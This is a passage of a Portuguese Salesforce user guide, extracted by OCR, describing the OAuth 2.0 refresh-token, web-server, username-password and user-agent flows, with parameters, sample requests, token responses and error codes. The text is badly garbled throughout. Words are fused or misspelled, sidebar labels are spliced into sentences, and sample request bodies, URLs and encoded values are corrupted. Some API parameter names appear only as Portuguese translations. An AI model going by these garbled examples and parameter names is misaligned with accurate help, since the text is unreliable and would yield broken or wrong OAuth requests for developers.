access_token €emitido (com umvalorde "token type" “Portador").Se nenhuma aprovagao anterior incluiu um
refresh token, nenhum escopo aprovado esta disponivel e a solicitacdo falha como ndo autorizada.

Se vocé estd implantando para uma comunidade, o valor "sfdc _community 1id" no ponto final de token contém o ID de
comunidade que pode ser exigido em solicitacdes da API REST do Chatter.

@ Nota: Depoisde adquiriro access_token, € possivel passa-lo como token Portador na solicitagao de cabegalho de Autorizagdo.
Veja a sequir um exemplo de chamada da API REST para comunidades:
https://acme.force.com/customers/services/data/v32.0/ —-H "Authorization: Bearer
OODSOOOOOOOIehZ\!AQCAQHOdMHZfz972Szmpka8urFngeBGsxL_QJWwYMfAbUeeG7clE6
LYUfiDUkWe6H34r1AAWOR8BB8fLEZ6Nn04ANPGRrgOEM"

Erros

Se houver um erro no processamento do token portador JWT, o servidor responderd com uma resposta de erro padrao do OAuth,
incluindo um erro e uma descricdo contendo informagdes adicionais sobre os motivos pelos quais o token foi considerado invélido. Veja
aqui um exemplo de resposta de erro:

HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid grant",
"error description":"Audience validation failed"

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth
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Fluxo de chaves de atualizacdo OAuth 2.0

Depois que o consumidor for autorizado a acessar, ele pode usar um token de atualizagéo para EDlCC)ES
obter um novo token de acesso (ID de sessao). Isso sé é feito depois que o consumidor ja tiver
recebido uma chave de atualizacdo usando o servidor da Web ou o fluxo de agentes do usudrio.

Disponivel em: Salesforce

Cabe ao consumidor determinar quando uma chave de acesso ndo € mais vélida e quando solicitar Classic

uma nova. Os fluxos portadores podem ser usados somente apds o consumidor receber uma chave

de atualizacdo. Disponivel em: todas as
edicoes

A seguir, estao as etapas para o fluxo de autenticacdo da chave de atualizacdo. Mais detalhes sobre
cada etapa estao a seguir:

PERMISSOES DO

1. O consumidor usa a chave de atualizacao existente para solicitar uma nova chave de acesso.

USUARIO

2. Apos a verificacdo da solicitagdo, o Salesforce envia uma resposta para o cliente.
Para gerenciar, criar, editar
e excluir aplicativos OAuth:

e “Gerenciar aplicativos
Um consumidor pode usar a chave de atualizacdo para obter uma nova sessao, conforme necessario. conectados”

Consumidor solicita chave de acesso atualizada

O consumidor deve fazer uma solicitagdo POST para o ponto final da chave, com os seguintes
parametros:

®* tipo_de concessdo—O0valordeveser chave de atualizacdo para este fluxo.

®* chave de atualizac¢do—Chave de atualizagao da etapa de aprovagdo.

® client id:chave do consumidor a partir da definicao do aplicativo conectado.

® client secret:segredo do consumidor a partir da definicdo do aplicativo conectado. Esse parametro é opcional.

® client assertion—Emvezdepassar client secret,é possivel optar por fornecerum client assertion e
um client assertion_type.(Casoum pardmetro client secret ndo seja fornecido, o Salesforce verificard
client assertion e client assertion type automaticamente.

Ovalorde client assertion deve ser um token portador JWT tipico, assinado com a chave privada associada ao certificado
carregado do OAuth do cliente. No momento, s6 ha suporte para o algoritmo RS256. Para obter mais informagdes sobre o uso de
client assertion, consulte as especificagdes do OpenlD Connect para 0 método de autenticagéo do cliente
private key jwt.

e client assertion_ type — Fomeca esse valorao usar o parametro client assertion.
Ovalorde client assertion_ type deveser
urn:ietf:params:ocauth:client-assertion-type:jwt-bearer.

e formato—~Formato de retorno esperado. Esse parametro é opcional. O padréo é §son. Os valores s&o:
- urlencoded
- Jjson
- xml

0 exemplo a sequir é o corpo POST fora de banda para o ponto final da chave:

POST /services/oauth2/token HTTP/1.1

Host: https://login.salesforce.com/

grant type=refresh token&client id=3MVG91KcPoNINVBIPJjdwlJ9LLM82HnEFVVX19KYI1uASmul
QgEWhgKpoW3svG3XHrXDiCQjKImdgAvhCscA9GE&client secret=1955279925675241571
&refresh token=your token here


http://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication
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Em vez de usar o parametro formato, o cliente também pode verificar o formato retornado em um cabecalho de aceitacéo da
solicitagdo usando um dos seguintes:

® Aceitar: application/json
® Aceitar: application/xml

® Aceitar: application/x-www-form-urlencoded

O servidor Salesforce envia uma resposta
Apos a verificacdo da solicitacdo, o Salesforce envia uma resposta para o cliente. Os seguintes parametros estdo no corpo da resposta:

® chave de acesso—OID de sesséo do Salesforce que pode ser usado com a API de servigos da Web.
* token type — Ovaloré Portador paratodas as respostas que incluem um token de acesso.

* instance url — URLqueindica ainstancia da organizagao do usudrio. Neste exemplo, a instancia € nal:
https://nal.salesforce.com

e id—URLdeidentidade que pode ser usado para identificar o usuario e também para consulta de mais informacoes sobre o usuario.
Veja os URLs de identidade na pagina 230.

* sfdc_community url:seo usudrio € membro de uma comunidade do Salesforce, o URL dela é fornecido.
* sfdc_community id:seousudrio€ membrodeuma comunidade do Salesforce, o ID de comunidade do usudrio é fornecido.

® signature — Assinatura HMAC-SHA256 com codificacdo Base64 assinada com a chave privada do consumidor contendo o ID
concatenado e issued_at. Isso pode ser usado para verificar se o URL de identidade ndo foi modificado desde que foi enviado
pelo servidor.

* emitido em—Quando aassinatura foi criada.

A sequir esta um exemplo de resposta JSON do Salesforce:

{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",

"issued at":"1278448384422","instance url":"https://nal.salesforce.com",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMggYtu+hDPsc=",

"access token":"00Dx0000000BV7z!ARS8AQPOJITN8OESEs])5EbaZTFGORNBaTlcyWk7T

rqoDJjoNIWQ2ME sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEKWUL.Cju7m4", "token type":"Bearer", "scope":"id
api refresh token"}

A seguir estd um exemplo de resposta XML:

<Oauth>
<access_ token>00Dx0000000BV7z!ARS8AQPOJITN8OESEs]5EbaZTFGORNB
aTlcyWk7TrqoDjoNIWQ2ME sTZzBjfmOE6zMHq6y8PIW4deWze9JksNEKWUL.Cju7m4
</access_token>
<token type>Bearer
</token_ type>
<scope>id api refresh token
</scope>
<instance url>https://nal.salesforce.com</instance url>
<id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id>
<issued at>1278448101416</issued at>
<signature>CMJ41+CCaPQiKjoOEwEig9H4wghpuLSk4J2urAe+fVg=</signature>
</Oauth>

A seguir estd um exemplo de URL codificado:

access_ token=00Dx0000000BV7z%21AR8AQPOJITN8OESEs]5EbaZTFGORNBaTlcyiWk7TrgoDjoNIWQ2
ME sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEKWUL.Cju7m4
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&token type=Bearer&scope=id%20api%20refresh token

&instance url=https%3A%2F%2Fnal.salesforce.com
&1d=https%3A%2F%2Flogin.salesforce.com%2Fid%$2F00Dx0000000BV72z%2F005x00000012Q9P
&issued at=1278448101416
&signature=CMJ41%$2BCCaPQiKjoOEwWEig9H4wghpulSk4J2urAe$2BfVg%3D

Se ocorrer um problema durante esta etapa, a resposta contera uma mensagem de erro com estas partes:
e erro—Cddigodoerro
® descricdo_do_ erro—Descricdo do erro com informagdes adicionais.
- tipo_de resposta ndo_ suportado—tipo de resposta nao suportado
- id do cliente invéalido—identificador do cliente invélido
- solicitacdo_invalida—HTIPS necessario
- solicitacdo invalida—deve usar HTTP POST
- credenciais do_cliente invéalidas—segredo do cliente invélido
- solicitacdo invalida—tipo de segredo ndo suportado
- concessdo_invalida—chave de acesso/atualizagdo expirada
- concessdo_invalida—IP restrito ou horas de login invélido
- usuario inativo—O0 Usudrio estd inativo
- org_inativa—a organizagdo estd bloqueada, fechada ou suspensa
- taxa_ limite excedida—numero de logins excedidos

- invalid scope— 0 escopo solicitado é invélido, desconhecido ou mal formado

A seguir, um exemplo de erro de resposta:

{"error":"invalid client credentials","error description":"client secret invalid"}

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth

Fluxo de autenticacdo do servidor Web OAuth 2.0

O fluxo de autenticacdo do servidor Web é usado por aplicativos que sdo armazenados em um EDlCOES
servidor seguro. Um aspecto critico do fluxo do servidor da Web é que o servidor deve conseguir
proteger o segredo do consumidor. Vocé também pode usar desafio de cédigo e valores de Disponivel em: Salesforce
verificador no fluxo para evitar a interceptacéo do cédigo de autorizagdo. Classic

A rice individual esta ir. . -
s descricdes de etapa individual estao a sequ Disponivel em: fodas as

edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”
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1. O servidor Web redireciona o usuario para o Salesforce para autenticar e autorizar o servidor para acessar dados em seu nome.
2. Depois que 0 usuario aprova o acesso, o servidor Web recebe um callback com um cédigo de autorizagao.

3. Depois de obter o cddigo de autorizacao, o servidor da Web retorna o cédigo de autorizagao para obter uma resposta de token.
4. Apos avalidacdo do codigo de autorizacao, o Salesforce informa novamente uma resposta de token. Se ndo houver um erro, a

resposta de token incluird um cédigo de acesso e informacdes adicionais.
5. Apds a concessao do token, o servidor da Web acessa seus dados.

O servidor da Web pode usar o token de acesso que tem em maos para acessar os dados do Salesforce em nome do usudrio final e usar
um token de atualizacdo para obter um novo token de acesso, se tornar-se invalido por qualgquer motivo.

Redirecionar usudrio para obter autoriza¢do de acesso

Para obter autorizacdo do usudrio para acessar os dados do Salesforce em seu nome, o cliente redireciona o navegador do usuario para
o0 ponto final de autorizacdo com os seguintes parametros:

®* tipo_de resposta—O valordeveser codigo para este fluxo.
e client id:chavedoconsumidora partirda definicdo do aplicativo conectado.

e scope — Oparametro scope permite ajustar o que o aplicativo cliente pode acessar em uma organizacao do Salesforce. Consulte
Valores do parametro do escopo na pagina 226 para obter parametros validos.

* uri de redirecdo—URIparao qual redirecionar o usudrio apds a aprovacdo. Isso deve corresponder exatamente ao valor
docampo URL de retorno nadefinicdodo aplicativo conectado, do contrério, a aprovacao falha. Esse valor deve ser codificado
por URL.

® estado—AQualquer estado que o consumidor queira refletido de volta apds a aprovacdo, durante o callback. Esse parametro é
opcional. Esse valor deve ser codificado por URL.
* imediato—Determina se o usuario deve fazer login e seraprovado. Esse parametro é opcional. O valor devera ser verdadeiro
ou falso, se especificado. O valor padrdo é falso. Observe o seguinte:
-~ Se definido como verdadeiro, e 0 usuario estiver conectado no momento e tiver aprovado anteriormente o
ID do cliente, 0 Salesforce ignorard a etapa de aprovacdo.

— Sedefinido como verdadeiro eousudrio ndo estiver conectado ou néo tiver aprovado anteriormente o cliente, o Salesforce
serd encerrado imediatamente com o c6digo de erro insucesso_imediato.

@ Nota: Essa opcao nao estd disponivel para Comunidades.

® code_ challenge - Especifica o valor de hash SHA256 do valor de code verifier na solicitacdo de token, para ajudar a
evitar ataques de interceptacédo de cédigo de autorizacdo. O valor também deve ser codificado uma vez em base64url, conforme
definidoaqui: https://tools.ietf.org/html/rfc4648#section-5. Esse parametro é necessario apenas se um
parametro code verifier éespecificado na solicitacdo de token.

- Seovalorde code challenge forincluido na solicitagcao de autorizagdo e um valor de code verifier forincluido
na solicitacdo de token, o Salesforce comparard code challenge e code verifier.Se code challenge for
invalido ou ndo corresponder, havera falha de login com o cédigo de erro invalid request.

- Seovalorde code challenge forincluido na solicitacao de autorizacdo, mas um valor de code verifier ndo for
incluido na solicitagéo de token, haverd falha de login com o cédigo de erro invalid grant.
e display — Alteraotipode exibicdo das paginas de login e de autorizacdo. Esse parametro é opcional. Os Unicos valores suportados
pelo Salesforce sdo:
- péagina—Tela de autorizagdo de pagina inteira. Esse seré o valor padrao, se nenhum for especificado.

- pop-up—~Caixa de didlogo compacta otimizada para modernas janelas pop-up do navegador da web.


https://tools.ietf.org/html/rfc4648#section-5
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- touch:didlogo otimizado para dispositivos méveis, projetado para smartphones modernos, como Android e iPhone.
- mével:didlogo otimizado para dispositivos méveis, projetados para smartphones menos potentes, como BlackBerry OS 5.
®* login hint - Forneca um valor vélido de nome de usudrio para preencher automaticamente a pagina de login com o nome

de usudrio. Por exemplo: login hint=username@company.com. Se 0 usuario ja tem uma sessao ativa no navegador, o
parametro login hint nao faz nada; a sesséo ativa do usuério continua.

® nonce— Opcional com o escopo openid para obter um token de ID de usuério. O valor € retornado na resposta e é Util para
detectar ataques de “repeticao”.

e prompt - Especificacomo o servidor de autorizagdo solicita reautenticagao e reaprovacao do usuario. Esse parametro é opcional.
Os Unicos valores suportados pelo Salesforce séo:

- login — O servidor de autorizacao deve solicitar o login novamente, obtendo a reautenticacao do usuario.

— consent— O servidor de autorizacdo deve solicitar a reaprovacdo ao usudrio antes de retornar informagdes ao cliente.

E vélido passar ambos os valores, separados por espaco, para exigir que o usuério faca login e reautorize. Por exemplo:

?prompt=login%20consent

Para iniciar o fluxo, geralmente o servidor da Web forma um link ou envia um redirecionamento HTTP para o navegador. A sequir, ha
um exemplo de uma solicitagao para um ponto final de autorizagdo de um cliente do servidor Web:

https://login.salesforce.com/services/oauth2/authorize?response type=code&client id=
3MVG91KcPoONINVBIPJjdwlJ9LLM82HnFVVX19KY1uASmuO0QgEWhgKpoW3svG3XHrXDiCQjKlmdgAvhCscA
9GE&redirect uri=https%3A%2F%2Fwww.mysite.com%2Fcode callback.jsp&state=mystate

Se o usuario estiver conectado, o Salesforce o redirecionard para a pagina de aprovacdo. Se o usudrio ndo estiver conectado, serd solicitado
que efetue login, depois ele seré redirecionado para a pagina de aprovacao em que ele concede acesso ao aplicativo. Se 0 acesso do
usudrio ja tiver sido aprovado uma vez, ele nao precisard de aprovacao novamente.

Callback recebido do servidor Web

Quando o usudrio aprova o acesso, ele é redirecionado para o URl especificadoem uri de redirecionamento comosseguintes
valores na string de consulta:

* co6digo—Cddigo de autorizacdo que o consumidor deve usar para obter as chaves de acesso e de atualizacdo

® estado—Estado que foi informado na etapa de aprovacao. Isso ndo seré incluido se o parametro state ndo for incluido na
string de consulta original.

Se 0 acesso do usuario ja tiver sido aprovado uma vez, ele ndo precisara de aprovacdo novamente.

A sequir, hd um exemplo da solicitagao recebida pelo uri de redirecionamento:
https://www.mysite.com/code callback.jsp?code=aPrxsmIEegM9&state=mystate

Se o usudrio negar o aplicativo, ele seré redirecionado para 0 uri_de redirecionamento com osseguintes valores na string
de consulta:

¢ error —Ovaloré access denied

® estado—*Fstado que foi informado na etapa de aprovacdo. Isso ndo serd incluido se o parametro state nao for incluido na
string de consulta original.

Por exemplo:
https://www.mysite.com/code callback.jsp?error=access-denied&state=mystate

Se ocorrer um erro durante esta etapa, a resposta conterd uma mensagem de erro com estas partes:
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erro—Cbdigo do erro

descricdo_do_erro—Descri¢do do erro com informagdes adicionais.

- tipo_de resposta ndo_suportado—tipo de resposta ndo suportado
- id do_cliente_ invalido—identificador do cliente invalido

- solicitacgdo_invalida—HTIPS necessario

- solicitacdo_invalida—deve usar HTTP GET

- invalid request - code challenge invdlido-Indicaqueovalorde code challenge erainvélido (ndoestava
em codificacdo base64url, por exemplo)

- invalid request - code challenge inesperado —Indica que o fluxo ndo € compativel com o pardmetro
code challenge endo o esperava

- acesso_negado—autorizagdo negada do usudrio final
- uri de redirecionamento_ausente—uri_de_redirecionamento nao fornecido
- redirect uri mismatch:incompatibilidade do redirect_uri com a defini¢do do aplicativo conectado

- insucesso_imediato—insucessoimediato

invalid scope— 0 escopo solicitado é invalido, desconhecido ou mal formado

estado—*Estado que foi informado na etapa de aprovacéo. Isso ndo serd incluido se o parametro state néo for incluido na
string de consulta original.

O Servidor Web troca o codigo de verificagdo para chave de acesso

Depois de obter o cédigo de autorizacao, o servidor Web troca o cédigo de autorizacao para obter uma chave de acesso.

O consumidor deve fazer um POST diretamente para o ponto final da chave, com os seguintes parametros:

tipo_de concessdo—Ovalordeveser cédigo de autorizacgdo paraeste fluxo.
client id:chave doconsumidora partir da definicdo do aplicativo conectado.
client secret:segredo do consumidor a partir da definicdo do aplicativo conectado.

client assertion—Emvezdepassar client secret, é possivel optar por fornecerum client assertion e
um client assertion type.(Casoum parametro client secret nao sejafornecido, o Salesforce verificara
client assertion e client assertion_ type automaticamente.

Ovalorde client assertion deve ser um token portador JWT tipico, assinado com a chave privada associada ao certificado
carregado do OAuth do cliente. No momento, sé ha suporte para o algoritmo RS256. Para obter mais informacées sobre o uso de
client assertion, consulte as especificagdes do OpenlD Connect para o método de autenticagéo do cliente
private key jwt.

client assertion type — Fomeca esse valorao usar o parametro client assertion.

Ovalorde client assertion_type deve ser
urn:ietf:params:ocauth:client-assertion-type:jwt-bearer.

uri de redirecado—URIpara o qual redirecionar o usudrio ap6s a aprovagao. Esse valor deve corresponder exatamente ao
valordo campo URL de retorno doaplicativo conectado, e é o mesmo valor enviado pelo redirecionamento inicial. Consulte
Redirecionar usudrio para obter autorizacéo de acesso na pagina 214.

c6digo—Codigo de autorizagdo obtido do callback apds a aprovagao.

code verifier —Especifica 128 bytes de dados aleatdrios com entropia alta o suficiente para dificultar que adivinhem o valor,
ajudando assim a evitar ataques de interceptacao de cédigo de autorizacdo. O valor também deve ser codificado uma vez em


http://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication

Aprimorar o Salesforce com codigo Guia do usudrio | Integracdo de aplicativos com o
Salesforce | 217

base64url, conforme definidoaqui:https: //tools.ietf.org/html/rfc46484section-5.Esse parametroé necessario
apenas se um parametro code challenge é especificado na solicitagdo de autorizacao.

- Seovalorde code verifier forincluido nasolicitacdo de token e um valor de code challenge forincluido na
solicitagdo de autorizacdo, o Salesforce comparard code _verifier e code challenge.Se code verifier for
invalido ou ndo corresponder, haverd falha de login com o coédigo de erro invalid grant.

- Seovalorde code verifier forincluido na solicitagdo de token, mas um valor de code challenge ndo forincluido
na solicitagdo de autorizacao, haverd falha de login com o cédigo de erro invalid grant.

e formato—Formato de retorno esperado. Esse parametro é opcional. O padrdo é json. Os valores sdo:

— urlencoded
- Jjson

- xml

A seguir, hd um exemplo do corpo POST enviado fora de banda:

POST /services/oauth2/token HTTP/1.1

Host: login.salesforce.com

grant type=authorization code&code=aPrxsmIEegM9PiQroGEWx1UiMQd95 5JUZ
VEhsOFhS8EVvVbfYBBJ1i2W5fn3zbo.8hojaNW 1g%3D%3D&client i1id=3MVG91KcPoNI
NVBIPJjdwlJ9LLM82HNFVVX19KY1uASmu0QgEWhgKpoW3svG3XHrXDiCQjK1mdgAvhCs
cA9GE&client secret=1955279925675241571&

redirect uri=https%3A%2F%2Fwww.mysite.com%2Fcode callback.jsp

Em vez de usar o parametro formato, o cliente também pode verificar o formato retornado em um cabecalho de aceitacdo da
solicitacdo usando um dos seguintes:

® Aceitar: application/json

® Aceitar: application/xml

® Aceitar: application/x-www-form-urlencoded

Observe o seguinte:

e (abecalhos de aceitagdo de curinga sdo permitidos. * /* é aceito e retorna JSON.

e Uma lista de valores também é aceita e verificada da esquerda para a direita. Por exemplo:
application/xml,application/json,application/html, */* retorna XML.

e QO parametro format tem precedéncia sobre o cabecalho da solicitacdo de aceitacao.

O Salesforce responde com um token de acesso

Apos a verificacdo da solicitacdo, o Salesforce envia uma resposta para o cliente. Os seguintes parametros estdo no corpo da resposta:
® chave de acesso—O ID de sessdo do Salesforce que pode ser usado com a APl de servicos da Web.

* token type — Ovaloré Portador paratodas as respostas que incluem um token de acesso.

* 1id token—Valordo Salesforce em conformidade com as especificagées do OpenlD Connect. Isso s6 é retornado se o parametro
de escopo incluiopenid

® chave de atualizacdo—Chave que pode ser usada no futuro para obter novas chaves de acesso (sessoes). Este valor é
secreto. Vocé deve trata-lo como a senha do usuario e usar medidas apropriadas para protegé-lo. Esse parametro é retornado
somente se o seu aplicativo conectado for configurado com um escopo de pelo menos refresh token.

* instance url — URLqueindica ainstancia da organizacdo do usudrio. Neste exemplo, a instancia é nal:

https://nal.salesforce.com


https://tools.ietf.org/html/rfc4648#section-5
http://openid.net/specs/openid-connect-basic-1_0-28.html
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e id—URLdeidentidade que pode ser usado paraidentificar o usuario e também para consulta de mais informacées sobre o usuario.
Veja os URLs de identidade na pagina 230.

° sfdc_community url:se o usudrioé membro de uma comunidade do Salesforce, o URL dela é fornecido.
* sfdc community id:seousudrioémembrodeuma comunidade do Salesforce, 01D de comunidade do usudrio é fornecido.

® signature — Assinatura HMAC-SHA256 com codificacdo Base64 assinada com a chave privada do consumidor contendo o ID
concatenado e issued_at. Isso pode ser usado para verificar se o URL de identidade ndo foi modificado desde que foi enviado
pelo servidor.

* emitido em—Quando aassinatura foi criada.

Segue um exemplo de resposta do Salesforce:

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",

"issued at":"1278448101416","refresh token":"5Aep8614iLM.Dg661ePDmPEgaAW9

Oh L3JKkDpB4xReb54 pZebnUGOh6Sb4KUVDpNtWEofWM39yg==","instance url":
"https://nal.salesforce.com", "signature":"CMJ41+CCaPQiKjoOEwWEig9H4wghpuLSk
4J2urAe+fvg=","access token":"00Dx0000000BV7z!ARSBAQPOJITNS8OESEs]5EbaZTFGOR

NBaT1lcyWk7TrqoDjoNIWQZME sTZzBjfmOE6zMHqoy8PIW4eWze 9JksNEKWUL.Cju7m4", "token type":"Bearer","scope":"id
api refresh token"}

Se ocorrer um erro durante esta etapa, a resposta conterd uma mensagem de erro com estas partes:
e erro—Cadigo doerro
* descrigdo_do_erro—Descricdo do erro com informagdes adicionais.

- tipo de resposta ndo_ suportado—tipo de resposta nao suportado

- id do_cliente_ invéalido—identificador do cliente invélido

- solicitacdo_invalida—HTIPS necessario

- solicitacgdo_invalida—deve usar HTTP POST

- credenciais do cliente invalidas—segredo do clienteinvélido

- concessdo_invalida—cddigo de autorizagao invalido

- concessdo_invalida—IP restrito ou horas de login invélido

- invalid grant - code verifier invdlido - Indica que ovalorde code verifier €invélido (ndo estd em
codificagdo base64url etc.), ou ndo era o verificador valido para 0 code challenge dado

- invalid grant - code verifier inesperado - Indica que néo foi especificado code challenge e, portanto,
ndo se esperava UM code verifier (mas ele foi especificado)

- incompatibilidade do uri de redirecionamento—uri_de_redirecionamento ndo fornecido
- redirect uri mismatch:incompatibilidade do redirect_uri com a definicdo do aplicativo conectado

- usudrio_inativo—o usuério foi definido como inativo pelo administrador

- org_inativa—a organizagdo estd bloqueada, fechada ou suspensa

- taxa limite excedida—o ndmero de tentativas de login foi excedido

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth
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Fluxo de senhas de nomes de usudrio OAuth 2.0

O fluxo de autenticacao de senhas de nome de usuério pode ser usado para autenticar quando o EDlCC)ES
cliente ja tiver as credenciais do usudrio.

O Cuidado: Este fluxo de autenticacdo OAuth envolve passar as credenciais do usuario para Disponivel em: Salesforce

frente e para tras. Use esse fluxo de autenticacdo apenas quando necessario. Nao serd emitido Classic
um token de atualizagdo. Disponivel em: todas as
A seqguir, estdo as etapas para o fluxo de autenticacao de senhas de nomes de usudrio. Mais detalhes edicoes

sobre cada etapa estao a sequir:

1. O consumidor usa 0 nome de usuario e a senha do usuario final para solicitar um token de PERMISSOES DO
acesso (ID da sessdo). USUARIO

2. Apds a verificacdo da solicitacdo, o Salesforce envia uma resposta para o cliente.

Para gerenciar, criar, editar

O consumidor pode usar o token de acesso que tem em maos para acessar os dados do Salesforce e excluir aplicativos OAuth:

em nome do usuario final. e “Gerenciar aplicativos
conectados”

Solicitar uma chave de acesso

O consumidor pode usar o nome de usuario e a senha do usudrio final para solicitar um token de acesso, que pode ser usado como um
ID de sessdo. Esse fluxo ndo oferece suporte a inclusdo de escopos na solicitacdo, e o token de acesso retornado a partir desse fluxo ndo
obtém escopos.

O consumidor deve fazer uma solicitacdo POST fora de banda para o ponto final da chave, com os seguintes parametros:
* tipo_de concessdo—O0 valordeve ser senha para este fluxo.
e client id:chavedo consumidor a partir da definicdo do aplicativo conectado.
® client secret:segredo do consumidor a partir da definicdo do aplicativo conectado.
® username—Nome do usudrio final.
e password—>Senha do usuario final.
@ Nota: Ao usar o fluxo nome de usuério/senha com a AP, certifique-se de criar um campo na tela de login do nome de usuario
e senha, onde 0s usuarios possam especificar a chave de seguranca. A chave de seguranca € uma chave gerada automaticamente
que deve ser adicionada ao final da senha para efetuar login no Salesforce em uma rede ndo confidvel. £ preciso concatenar
a senha e a chama ao transmitir a solicitacéo para autenticacao.
e formato—Formato de retorno esperado. Esse parametro é opcional. O padrdo é json. Os valores sdo:
= urlencoded
- Json

- xml

A sequir, hd um exemplo do corpo do POST fora de banda:

grant type=password&client id=3MVG91KcPoNINVBIPJjdwlJ9LLM82Hn
FVVX19KY1uASmuO0QgEWhgKpoW3svG3XHrXDiCQjKImdgAvhCscA9GE&client secret=
1955279925675241571 &username=testusers40salesforce.com&password=mypassword

Enviar resposta
Apos a verificacdo da solicitacdo, o Salesforce envia uma resposta para o cliente. Os seguintes parametros estdo no corpo da resposta:

® chave de acesso—OID de sesséo do Salesforce que pode ser usado com a API de servigos da Web.
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* token type — Ovaloré Portador paratodas as respostas que incluem um token de acesso.

* instance url — URLqueindica ainstancia da organizagdo do usudrio. Neste exemplo, a instancia € nal:
https://nal.salesforce.com

e id—URLdeidentidade que pode ser usado para identificar o usuario e também para consulta de mais informacées sobre o usuario.
Veja os URLs de identidade na pagina 230.

® signature — Assinatura HMAC-SHA256 com codificacao Base64 assinada com a chave privada do consumidor contendo o ID
concatenado e issued_at. Isso pode ser usado para verificar se o URL de identidade ndo foi modificado desde que foi enviado
pelo servidor.

* emitido em—Quando aassinatura foi criada.

@ Nota: Nenhuma chave de atualizacdo é enviada com esta resposta.

A sequir estd um exemplo de resposta:

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued at":"1278448832702","instance url":"https://nal.salesforce.com",
"signature":"0CmxinZir53Yex7nEOTD+zMpvIWYGb/bdJh6XfOH6EQ=", "access_token":
"00Dx0000000BV7z ! AR8BAQAx09UfVkh8A1VOGomt 9Czx9LjHNnSSpwBMmbRcgKFmxOtvxj TrKW1
9ye6PE3Ds1eQz3z8jr3W7 VbWmEu4Q8TVGSTHxs", "token type":"Bearer"}
Se ocorrer um problema durante esta etapa, a resposta contera uma mensagem de erro com estas partes:
e erro—Cadigo doerro
* descrigdo_do_erro—Descricdo do erro com informagdes adicionais.
- tipo de resposta ndo_ suportado—tipo de resposta nao suportado
- id do_cliente_ invéalido—identificador do cliente invélido
- solicitacédo_invalida—HTIPS necessario
- solicitacédo invalida—deve usar HTTP POST
- invalid request:o parametro de escopo ndo é permitido
- credenciais do_cliente invélidas—segredo do clienteinvélido
- invalid grant —falha de autenticacdo (por exemplo, o usudrio ndo existe, ou senha invélida)
- concessdo_invalida—IP restrito ou horas de login invélido
- usudrio_ inativo——O0 usudrio estd inativo
- org inativa—aorganizacao estd bloqueada, fechada ou suspensa

- taxa limite excedida—numero de logins excedidos

A seguir, um exemplo de erro retornado:

{"error":"invalid client credentials","error description":"client secret invalid"}

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth
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Fluxo de agentes de usudrios OAuth 2.0

O fluxo de autenticacdo de agentes do usuério é usado por aplicativos de clientes (consumidores)
que residem no dispositivo do usuario. Isso pode ser implementado em um navegador usando
uma linguagem de script, como JavaScript ou a partir de um dispositivo mével ou um aplicativo
de desktop. Esses consumidores ndo podem manter o segredo do cliente confidencial. A autenticacdo
do consumidor é baseada na politica de mesma origem do agente do usuario.

Ao contrério dos outros fluxos de autenticacdo, o aplicativo cliente recebe a chave de acesso no
formato de um redirecionamento HTTP. O aplicativo cliente solicita que o servidor de autorizacao
redirecione o agente do usudrio para outro servidor da Web ou recurso local acessivel ao agente,
que é capaz de extrair a chave de acesso da resposta e transmiti-la para o aplicativo cliente. Observe
que a resposta da chave é fornecida como um fragmento de hash (#) no URL. Isso serve como
seguranca e impede que a chave seja transmitida para o servidor e também para outros servidores
em cabecalhos de referéncia.

Este fluxo de autenticacdo de agentes do usudrio ndo utiliza o segredo do cliente, pois as executaveis
do cliente residem no computador ou dispositivo do usudrio final, o que torna o segredo do cliente
acessfvel e exploravel.

O Cuidado: Como a chave de acesso é codificada no URI de redirecéo, ela pode ser exposta
para o usudrio final e outros aplicativos que residem no computador ou dispositivo.
Se vocé estiver autenticando usando JavaScript, chame
window.location.replace () ; pararemovero callbackdo histérico do navegador.

As descricdes de etapa individual estdo a sequir.

1. O aplicativo cliente direciona o usudrio para o Salesforce para autenticar e autorizar o aplicativo.
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EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: todas as
edicoes

PERMISSOES DO

USUARIO

Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

2. Ousuario deve sempre aprovar o acesso para esse fluxo de autenticacdo. Apds a aprovacao do acesso, o aplicativo recebe o callback

do Salesforce.

O consumidor pode usar a chave de acesso que tem em maos para acessar os dados do Salesforce em nome do usuario final e uma
chave de atualizacdo para obter uma nova chave de acesso, se ela tornar-se invalida por qualquer motivo.

O fluxo de agentes do usuario ndo suporta publicacdes fora de banda.

Direcionar usuario para o Salesforce para obter chave de acesso

Para obter autorizacao do usuério para acessar os dados do Salesforce em seu nome, o cliente direciona o usudrio para o ponto final de

autorizacdo com 0s seguintes parametros:

* response_type:ovalorpodeser token ou id_token do token,como pardmetrodeescopo openid eum pardmetro
nonce, referente a esse fluxo. Se vocé especifica token id_token, 0 Salesforce retorna um token de ID na resposta. Para obter

mais informagdes, consulte Obtendo e verificando um token de ID na pégina 229.

e client id:chavedo consumidor a partir da definicdo do aplicativo conectado.

e uri de redirecdo—URIparao qual redirecionar o usudrio apés a aprovagdo. Isso deve corresponder exatamente a um dos
valores do campo URL de retorno nadefinicdo do aplicativo conectado. Esse valor deve ser codificado por URL.

® estado—Qualquer estado que o consumidor queira refletido de volta apds a aprovacdo, durante o callback. Esse parametro é

opcional.

e scope — Oparametro scope permite ajustar o que o aplicativo cliente pode acessar em uma organizacao do Salesforce. Consulte

Valores do parametro do escopo na pagina 226 para obter parametros validos.
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exibicao—Alteraotipo de exibicdo da pagina de login. Esse parametro é opcional. Os Unicos valores suportados pelo Salesforce

s&o:

